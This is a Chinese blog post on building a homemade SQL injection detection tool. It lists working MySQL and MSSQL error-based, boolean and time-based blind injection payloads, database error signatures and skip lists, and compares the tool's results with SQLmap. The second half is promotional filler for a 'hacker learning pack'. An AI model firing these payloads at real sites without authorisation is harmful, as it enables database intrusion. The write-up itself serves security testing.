
渗透测试,信息收集是基础,接口信息更是重中之重。面对海量接口,手工测试?那效率不得凉凉!Xray 虽好,但 POST 请求的姿势总感觉差点意思。痛定思痛,不如自己撸一个 SQL 注入检测工具,专治各种 GET、POST 不服。
今天,咱就来扒一扒这个工具的实现逻辑,各位看官老爷觉得有用,可以去信安之路知识星球溜达溜达,文库里有源码,拿去随便折腾。
五步走,SQL 注入它能往哪儿走?
这工具的检测流程,简单粗暴,一共五步:
- URL 存活检测: 先确认接口是不是活着,死了的就别浪费感情了。
- 基础 + 报错双重奏: 往参数里扔单引号、双引号、括号之类的“佐料”,页面有反应?直接上报错注入的猛料,一探究竟!
# 报错注入,就是要简单粗暴!
error_mysql_payloads = ["extractvalue(1,concat(char(126),md5(1)))", "1/**/and/**/extractvalue(1,concat(char(126),md5(1)))", "'and/**/extractvalue(1,concat(char(126),md5(1)))and'",")/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/(1", "')/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/('a"]
error_mssql_payloads = ["convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))", "1/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))","'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))>'0", ")/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/(1", "')/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/('a"]
- 数字型参数?减法伺候! ID=101-1 和 ID=100 的结果一样?恭喜,八成有戏!
- 布尔注入,真假猴王? and 1=1 走起,payload 如下:
# 布尔注入,看谁能瞒天过海!
bool_common_payload = [["1/**/and+3=3", "1/**/and+3=6"], ["'and'c'='c", "'and'd'='f"], ["%'and'%'='", "%'and'%'='d"]]
- 时间盲注,让子弹飞一会儿! 延迟请求,看看时间是不是变长了,payload 如下:
# 时间盲注,拼的就是耐心!
time_common_payload =[["'and(select*from(select+sleep(6))a/**/union/**/select+1)='", "'and(select*from(select+sleep(1))a/**/union/**/select+1)='"], ["(select*from(select+sleep(6)union/**/select+1)a)", "(select*from(select+sleep(1)union/**/select+1)a)"],["/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/", "/**/and(select+1)>0waitfor/**/delay'0:0:1'/**/"], ["'and(select+1)>0waitfor/**/delay'0:0:6", "'and(select+1)>0waitfor/**/delay'0:0:1"]]
避坑指南:那些年,我们一起踩过的坑
实现过程并非一帆风顺,各种幺蛾子层出不穷,最关键的就是如何判断两次请求的页面是否一致,同时还要排除各种干扰因素:
- 状态码: 先看状态码是不是一致,这是最基本的。
- 错误信息: 报错关键词匹配,不同的数据库,报错信息也不一样。
# 各种数据库的“特色”报错信息
error_mysql_infolist = ["SQL syntax"]
error_mssql_infolist = ["Exception", "SQL Server", "80040e14", "引号不完整"]
error_access_infolist = ["Microsoft JET Database Engine"]
- 页面相似度: 用 HTMLSimilarity 计算两次请求的页面相似度,这玩意儿挺好使。
- WAF: 遇到 WAF 先怂一波,跳过!
- 黑名单参数: PHP 框架里有些参数,比如 method、mod 之类的,就别去瞎折腾了。
# 黑名单,手下留情!
black_parma = ["method", "mod", "s", "act", "Action", "a", "m", "c"]
- 黑名单响应码: 除了报错注入,其他检测不应该出现非正常响应。
# 这些响应码,统统拉黑!
black_code = [-1, 0, 404, 403, 500, 503, 405, 999]
骡子是马,拉出来溜溜!
光说不练假把式,接下来就是实战测试环节:
- 报错注入:

只要能执行 md5 函数,就直接判定存在漏洞,简单粗暴!
- 数字注入:


这波操作,脚本只检测出数字注入,SQLmap 却发现了布尔注入。看来 payload 还有待优化啊!
- 布尔注入:


这次脚本和 SQLmap 的结果一致,都只检测出了布尔注入。
- 时间盲注:


又翻车了!脚本只检测到时间盲注,SQLmap 却发现了布尔注入。看来优化之路漫漫啊!
总结:手搓工具,且行且珍惜
总的来说,这个手搓的 SQL 注入检测工具还有很大的提升空间。和 SQLmap 相比,在检测的全面性上还有差距。不过,自己动手丰衣足食,未来还会不断优化,让它在实战中发挥更大的作用。

黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************
1153

被折叠的 条评论
为什么被折叠?



